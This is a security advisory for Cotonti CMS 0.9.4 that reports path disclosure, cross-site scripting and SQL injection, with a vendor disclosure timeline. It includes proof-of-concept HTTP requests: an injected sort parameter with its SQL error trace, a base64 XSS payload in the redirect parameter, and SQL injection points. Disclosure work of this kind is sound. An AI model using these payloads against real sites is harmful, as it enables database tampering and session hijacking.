Cotonti CMS 0.9.4 Cross Site Scripting / SQL Injection

Credit: Cotonti Team
Risk: Medium
Local: No
Remote: Yes

Cotonti CMS v0.9.4 Multiple Remote Vulnerabilities Vendor: Cotonti Team Product web page: Affected version: 0.9.4 (Siena) Summary: Cotonti is a powerful open-source web development framework and content manager with a focus on security, speed and flexibility. Desc: Input passed via the parameters 'redirect.php' in 'message.php' and 'w' and 'd' in 'index.php' script are not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code or execute arbitrary HTML and script code in a user's browser session in context of an affected site. Path disclosure resides in the 'sq' parameter in '/plugins/search/search.php' script. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerabilities discovered by LiquidWorm and badc0re @zeroscience Vendor status: [18.09.2011] Path disclosure discovered. [18.09.2011] Contact with the vendor with sent details. [18.09.2011] Vendor responds promising patch in 0.9.5 release. [27.09.2011] SQL Injection and XSS discovered. [28.09.2011] Contact with the vendor with sent details. [09.10.2011] No response from vendor. [10.10.2011] Public security advisory released. Advisory ID: ZSL-2011-5051 Advisory URL: --- PoC #1 [pd]: ======================== Request: - GET http://localhost/cotonti/index.php?e=search&sq=%5C'%5C'%5C'%5C'%5C'&rs%5Bsetlimit%5D=0&rs%5Bday%5D=18&rs%5Bmonth%5D=9&rs%5Byear%5D=2010&rs%5Bday%5D=18&rs%5Bmonth%5D=9&rs%5Byear%5D=2011&rs%5Bsetuser%5D=&rs%5Bpagsub%5D%5B%5D=all&rs%5Bpagtitle%5D=1&rs%5Bpagdesc%5D=1&rs%5Bpagtext%5D=1&rs%5Bpagsort%5D=date&rs%5Bpagsort2%5D=ASC&rs%5Bfrmsub%5D%5B%5D=all&rs%5Bfrmtitle%5D=1&rs%5Bfrmtext%5D=1&rs%5Bfrmsort%5D=updated'INJECTED_PARAM'INJECTED_PARAM&rs%5Bfrmsort2%5D=ASC HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://localhost/cotonti/index.php?e=search&sq=%27%27%27%27%27&rs[setlimit]=0&rs[day]=18&rs[month]=9&rs[year]=2010%271%27&rs[day]=18&rs[month]=9&rs[year]=2011&rs[setuser]=&rs[pagsub][]=all&rs[pagtitle]=1&rs[pagdesc]=1&rs[pagtext]=1&rs[pagsort]=date&rs[pagsort2]=ASC&rs[frmsub][]=all&rs[frmtitle]=1&rs[frmtext]=1&rs[frmsort]=updated&rs[frmsort2]=ASC Cookie: PHPSESSID=bnq658i0omp7t3u654i85llj51 Content-length: 0 Response: - Fatal error: SQL error 42S22: Column not found: 1054 Unknown column 'ft_updatedINJECTED_PARAMINJECTED_PARAM' in 'order clause' #0 cot_diefatal(SQL error 42S22: Column not found: 1054 Unknown column 'ft_updatedINJECTED_PARAMINJECTED_PARAM' in 'order clause') called at [D:\xampp2\htdocs\cotonti\system\database.php:436] #1 CotDB->query(SELECT SQL_CALC_FOUND_ROWS p.*, t.* FROM cot_forum_posts AS p, cot_forum_topics AS t WHERE t.ft_cat IN ('pub','general','offtopic') AND (t.ft_title LIKE '%\\\\\\\'\\\\\\\'\\\\\\\'\\\\\\\'\\\\\\\'%' OR p.fp_text LIKE '%\\\\\\\'\\\\\\\'\\\\\\\'\\\\\\\'\\\\\\\'%') AND p.fp_topicid = t.ft_id GROUP BY t.ft_id ORDER BY ft_updatedINJECTED_PARAMINJECTED_PARAM ASC LIMIT 0, 50) called at [D:\xampp2\htdocs\cotonti\plugins\search\search.php:367] #2 include(D:\xampp2\htdocs\cotonti\plugins\search\search.php) called at [D:\xampp2\htdocs\cotonti\system\plugin.php:94] #3 require_once( ======================== PoC #2 [xss]: ======================== - GET /cotonti-0.9.4/message.php?lng=page_confirm_unvalidate&m=page&msg=920&redirect=IiBvbm1vdXNlb3Zlcj1wcm9tcHQoOTk2NTQ5KSBiYWQ9Ig%3d%3d HTTP/1.1 ======================== PoC #3 [sqli]: ======================== - GET http://localhost/cotonti-0.9.4/index.php?e=page&id=[SQLi]&m=edit HTTP/1.1 - GET http://localhost/cotonti-0.9.4/index.php?e=users&f=all&s=regdate&w=[SQLi] HTTP/1.1

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